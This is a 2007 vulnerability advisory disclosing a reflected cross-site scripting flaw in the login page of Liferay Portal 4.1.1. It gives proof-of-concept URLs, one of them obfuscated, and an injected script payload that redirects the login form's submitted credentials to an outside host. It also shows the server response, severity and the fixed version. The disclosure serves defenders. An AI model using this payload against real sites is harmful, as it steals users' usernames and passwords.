PR07-02: XSS on Liferay Portal Enterprise 4.1.1 login page ('login' parameter)
Date Found: 6th March 2007
Vendor informed: 26th June 2007
Description:
Liferay Portal login page is vulnerable to
Cross-Site Scripting within the "login" field processed by the
"/c/portal/login" server-side script.
Consequences:
An attacker may be able to cause the execution of malicious script code in the
browser of a user who visits a specially-crafted Liferay Portal URL, or visits
a page that submits a request to such URL. Such code would run within the
security context of the target domain.
This type of attack can result in non-persistent defacement of the target site,
or the redirection of confidential information (i.e.: usernames and passwords)
to unauthorised third parties.
Proof of concept (PoC):
The provided XSS PoC URLs overwrite Liferay Portal login form's 'action'
attribute. Thus, when the victim user clicks on the "Sign In" button, the
credentials (username/password) are sent to a third-party site (procheckup.com
in this case).
http://target.tld/c/portal/login?login=%22%3E%3Cscript%3Edocument.fm1.action=%22http://procheckup.com%22%3C/script%3E%3Ca%20b=%22c
http://target.tld/c/portal/login?login=%22%3E%3Cscript%3Edocument.fm1.action=%22http%3a%2f%2f%70roch%65cku%70%2e%63om%22%3C/script%3E%3Ca%20b=%22c
Injected payload:
"><script>document.fm1.action="http://procheckup.com"</script><a b="c
What's (partially) returned by the server:
<input class="form-text" name="login" style="width: 150px;" type="text"
value=""><script>document.fm1.action="http://procheckup.com"</script><a b="c">
Note: the victim user does not need to be authenticated for this vulnerability
to be exploitable.
Successfully tested on:
Liferay-Portal: Liferay Portal Enterprise 4.1.1 (Cowper / Build 3101 / August
14, 2006)
(other versions of Liferay Portal might also be affected)
Severity: Medium/High
Author: Adrian Pastor [adrian.pastor [at] procheckup.com] from ProCheckUp Ltd
(www.procheckup.com)
ProCheckUp thanks Liferay for fixing this vulnerability so promptly.
References:
http://www.liferay.com/
http://www.procheckup.com/Vulnerability_2007.php
Fix:
The issue was fixed a while back, but re-surfaced in 4.1.0 and 4.1.1.
This issue has been fixed on version 4.1.3 and onwards.